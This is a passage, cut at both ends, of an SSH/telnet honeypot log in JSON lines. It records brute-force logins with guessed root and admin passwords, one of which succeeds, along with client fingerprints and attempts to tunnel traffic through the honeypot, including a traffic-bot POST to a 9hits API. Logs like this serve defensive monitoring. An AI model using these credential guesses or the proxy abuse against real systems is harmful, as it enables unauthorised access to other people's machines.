0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.641999Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.669888Z","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.687588Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xd0\\xd8g\\xe8\\xd2\\x89[P\\xda\\x8dw0\\xd2Y\\xe6\\xb8\\x11\\x96\\xdeH\\x8f\\x9d\\xf3\\x82\\xbd\\xb6\\xb7V\\xb6\\x1da \\x0ee\\xde\\xd4LXM\\x9a\\x1d\\xf1{\\xb1\\xde3l(\\x92\\xf0EM\\xd7\\x18\\xb3\\xdc6\\x8fo\\x98\\xd8\\xf1\\x83\\xe7\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 3y\\xef&:*V\\xf0\\x95P\\xd4\\xb5z\\xc7\\x10\\xba\\xfa\\x00\\xd0\\x83w\\x00\\\\\\xd9\\x08\\n\\xce\\xbd\\xad^[`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03(\\xd0\\xd8g\\xe8\\xd2\\x89[P\\xda\\x8dw0\\xd2Y\\xe6\\xb8\\x11\\x96\\xdeH\\x8f\\x9d\\xf3\\x82\\xbd\\xb6\\xb7V\\xb6\\x1da \\x0ee\\xde\\xd4LXM\\x9a\\x1d\\xf1{\\xb1\\xde3l(\\x92\\xf0EM\\xd7\\x18\\xb3\\xdc6\\x8fo\\x98\\xd8\\xf1\\x83\\xe7\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 3y\\xef&:*V\\xf0\\x95P\\xd4\\xb5z\\xc7\\x10\\xba\\xfa\\x00\\xd0\\x83w\\x00\\\\\\xd9\\x08\\n\\xce\\xbd\\xad^[`\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.691260Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":60924,"dst_ip":"10.17.0.5","dst_port":22,"session":"6eb0728b4292","protocol":"ssh","message":"New connection: 27.71.230.31:60924 (10.17.0.5:22) [session: 6eb0728b4292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:32.309382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:32.327914Z","src_ip":"27.71.230.31","session":"6eb0728b4292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:32.574431Z","src_ip":"27.71.230.31","session":"6eb0728b4292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.8","message":"Connection lost after 26.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:34.937196Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$12345","message":"login attempt [root/admin$12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:36.991191Z","src_ip":"27.71.230.31","session":"6eb0728b4292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:38.473417Z","src_ip":"27.71.230.31","session":"6eb0728b4292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.247.37.22","src_port":40097,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf7bd798e14c","protocol":"ssh","message":"New connection: 49.247.37.22:40097 (159.203.135.109:22) [session: cf7bd798e14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:42.538878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:42.543628Z","src_ip":"49.247.37.22","session":"cf7bd798e14c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:42.743486Z","src_ip":"49.247.37.22","session":"cf7bd798e14c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Beijing123","message":"login attempt [root/Beijing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:43.579882Z","src_ip":"49.247.37.22","session":"cf7bd798e14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:44.781497Z","src_ip":"49.247.37.22","session":"cf7bd798e14c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.1297550201416,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:59.344640Z","src_ip":"172.81.62.90","session":"9d6bd9cfc6d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":45224,"dst_ip":"159.203.135.109","dst_port":22,"session":"94e45e23b5a8","protocol":"ssh","message":"New connection: 38.93.206.2:45224 (159.203.135.109:22) [session: 94e45e23b5a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:14.789994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:14.793938Z","src_ip":"38.93.206.2","session":"94e45e23b5a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:14.843768Z","src_ip":"38.93.206.2","session":"94e45e23b5a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12071982","message":"login attempt [root/12071982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:14.996976Z","src_ip":"38.93.206.2","session":"94e45e23b5a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:16.049892Z","src_ip":"38.93.206.2","session":"94e45e23b5a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":51053,"dst_ip":"10.17.0.5","dst_port":22,"session":"94db8dee6869","protocol":"ssh","message":"New connection: 123.27.168.40:51053 (10.17.0.5:22) [session: 94db8dee6869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:18.256334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:18.261627Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:18.515650Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:19.611627Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":60306,"dst_ip":"159.203.135.109","dst_port":22,"session":"5444c6ea351a","protocol":"ssh","message":"New connection: 182.93.50.90:60306 (159.203.135.109:22) [session: 5444c6ea351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.128978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.134670Z","src_ip":"182.93.50.90","session":"5444c6ea351a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.353489Z","src_ip":"182.93.50.90","session":"5444c6ea351a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.556093Z","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.787119Z","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:32:20.809921Z","src_ip":"123.27.168.40","session":"94db8dee6869","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1182\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=b0l3Mi80JV50RzE5WF9SJQ%3D%3D62kB2yuLYXVEyRjMeBTztHdu9mSrh9gr%2BPIvGNLHmuymYFw9Wsq7pOoOvmSldwL5VlZdLgHo%2BShP9%2FXUD8FsQ4pmL4uGKryfpEN%2FH%2BIBoTBPlHBDWBDyJoLcgkbBZyEWabDEwwz39SajXYdLUci6nKgQg0X7pcTVyLvXNTujGBv6eHnPDXOwImtNZc2l76zWUAMWfnqV3TzKm4VVXbYUAzL37P9UMx7uq63RUSa9esmhR1twQL3bswV6yVPTgqyQT2i1u%2FXBnh6kw4MiOMM2uTChuyKxOp1Ud07lV%2BnQ8%2BaxhaBHA9FFJaZAsIGj4ZimpVxqH2Ni164znAS842jrpcL4OQBbGN7KcIXq5B%2BS8SIMduE4PmauhZr4OFcl7ydHjky%2FS9qZwgwuQsymeqJPPI4tigxIH4fOXkmZaRRE%2FtyAr%2BOvLWVs30iZOEQtH5wiZZ801RbZGzfKeszXrq0wKbroJY0ZGfCRkeGeS2hPm6K5IrqI%2FUPRH4DQrs0YNDHEJ9hvpQfuNmQXgjd7RJB1%2FGyiI2pvHt9xWy%2FybdVLEGE%2BXFb9wOqB%2Bhh%2FrtgISW3etBXlTude6ZR3NJCbbuTM19KdjQTMBPdaW3rLNB20YUtM5nmlNYsBynWgYn3AeP7rGs1EeTT%2Ba%2FNHOdqP9L6mW155bmm%2BS%2FziKuAuGWgLo0IrUr1w8MOeO28Se3x1TmvjLXWa8jIZotvak03pfsJCVVDiJwhagBjtfH3FDNQqlpmdtcuhQMfFoVzpHAsb%2BSTg5eaR%2FKkmx7AMxO6Guu7j5ql4ApptvZjkB0hMXYU25dfltYiM%2Fgm